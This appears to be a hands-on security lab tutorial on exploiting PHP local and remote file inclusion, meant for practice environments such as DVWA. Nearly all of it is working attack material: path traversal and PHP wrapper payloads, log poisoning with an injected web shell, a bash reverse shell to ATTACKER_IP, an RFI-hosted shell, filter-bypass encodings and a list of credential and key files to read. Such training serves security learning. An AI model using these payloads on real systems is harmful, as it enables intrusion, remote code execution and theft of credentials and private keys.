๐ŸŽฏ Lab Objectives

  • Identify file inclusion vulnerabilities in PHP applications
  • Use path traversal to read sensitive server files
  • Use PHP wrappers to read source code and encode files
  • Escalate LFI to RCE via log file poisoning
  • Exploit Remote File Inclusion to execute hosted malicious code

Step 1 โ€” LFI vs RFI

File inclusion happens when PHP uses user input in include() or require() without proper validation.

# Vulnerable PHP code:
$page = $_GET['page'];
include($page . ".php");

# LFI โ€” Local File Inclusion
# Read files that already exist on the server
http://target.com/index.php?page=../../../etc/passwd

# RFI โ€” Remote File Inclusion
# Include a file hosted on YOUR server (executes it)
http://target.com/index.php?page=http://ATTACKER_IP/shell.php

# RFI requires: allow_url_include = On in php.ini (less common)
# LFI is far more common and still very dangerous

Step 2 โ€” Basic LFI

# Test with /etc/passwd (always exists on Linux)
http://target.com/index.php?page=/etc/passwd
http://target.com/index.php?file=/etc/passwd
http://target.com/index.php?include=/etc/passwd

# Common parameter names to test:
?page=   ?file=   ?doc=   ?template=
?path=   ?lang=   ?view=  ?read=

# If successful, you'll see /etc/passwd content:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Step 3 โ€” Path Traversal

# If the app prepends a path, use ../ to escape
# include("/var/www/pages/" . $page . ".php")
# inject: ../../../../etc/passwd%00 (null byte strips .php)

http://target.com/?page=../../../../etc/passwd

# Count how many ../ you need based on web root depth
# /var/www/html/ โ†’ 3 levels deep โ†’ need ../../.. to reach /

# Always try increasing amounts:
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd

Step 4 โ€” PHP Wrappers

# php://filter โ€” read PHP source without execution
http://target.com/?page=php://filter/convert.base64-encode/resource=index.php

# Decode the base64 output:
echo 'BASE64_OUTPUT' | base64 -d

# Read any file as base64
php://filter/convert.base64-encode/resource=/etc/passwd

# php://input โ€” read POST body (useful for RCE)
# curl -d '<?php system("id"); ?>' "http://target.com/?page=php://input"

# data:// wrapper (execute inline code)
http://target.com/?page=data://text/plain,<?php+system('id');?>

# expect:// wrapper (direct command execution โ€” rarely enabled)
http://target.com/?page=expect://id

Step 5 โ€” Log Poisoning โ†’ RCE

If you can include the web server's access log, you can poison it by injecting PHP code into the User-Agent header.

# Step 1: Verify you can read the log file
http://target.com/?page=../../../../var/log/apache2/access.log
http://target.com/?page=../../../../var/log/nginx/access.log

# Step 2: Poison the log โ€” inject PHP into User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Step 3: Execute commands via the poisoned log
http://target.com/?page=../../../../var/log/apache2/access.log&cmd=whoami
http://target.com/?page=../../../../var/log/apache2/access.log&cmd=id

# Get a reverse shell
# URL-encode the command:
http://target.com/?page=../../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'

# Other log files to try:
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log           โ†’ poison via SSH username
/var/mail/www-data           โ†’ mail logs
/proc/self/environ           โ†’ environment variables

Step 6 โ€” RFI Attack

# Check if RFI is possible (php.ini must have allow_url_include=On)
http://target.com/?page=http://ATTACKER_IP/test.txt

# If it works, host a PHP reverse shell on your machine
# Create shell.php:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

# Serve it:
cd /tmp && python3 -m http.server 8080

# Include your shell via RFI:
http://target.com/?page=http://ATTACKER_IP:8080/shell.php&cmd=whoami

Step 7 โ€” LFI Wordlists & Automation

# Use ffuf to fuzz for accessible files
ffuf -u "http://target.com/?page=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -fs 0

# LFISuite (automated LFI exploitation)
git clone https://github.com/D35m0nd142/LFISuite
python LFISuite.py

Step 8 โ€” Filter Bypasses

# If "../" is stripped, use:
....//....//....//etc/passwd     # double dot-slash
..%2F..%2F..%2Fetc%2Fpasswd     # URL encoded
..%252F..%252Fetc%252Fpasswd    # double URL encoded
%2e%2e%2f%2e%2e%2fetc%2fpasswd  # full URL encoding

# If .php is appended โ€” null byte (PHP < 5.3.4)
?page=../../../etc/passwd%00

# If path is checked against a prefix
# include must start with /var/www/pages/
?page=/var/www/pages/../../../etc/passwd

๐Ÿ“‹ High-Value LFI Targets

FileContains
/etc/passwdUsernames and home directories
/etc/shadowPassword hashes (root required)
/etc/ssh/sshd_configSSH server configuration
~/.ssh/id_rsaSSH private key
/var/log/apache2/access.logWeb logs (poisoning target)
/proc/self/environProcess environment variables
/var/www/html/config.phpDatabase credentials
/etc/hostsInternal hostnames
/proc/net/tcpOpen network connections
โœ…
Lab Complete! Log poisoning turns a read-only LFI into full RCE. Practice on DVWA (File Inclusion module) and TryHackMe LFI rooms.
Related: File Upload โ†’ โ† All Labs
// guided terminal

Try It Live

Type the commands from the steps above. The terminal simulates the expected output for this lab.

KaliRange ~ Terminal type help for commands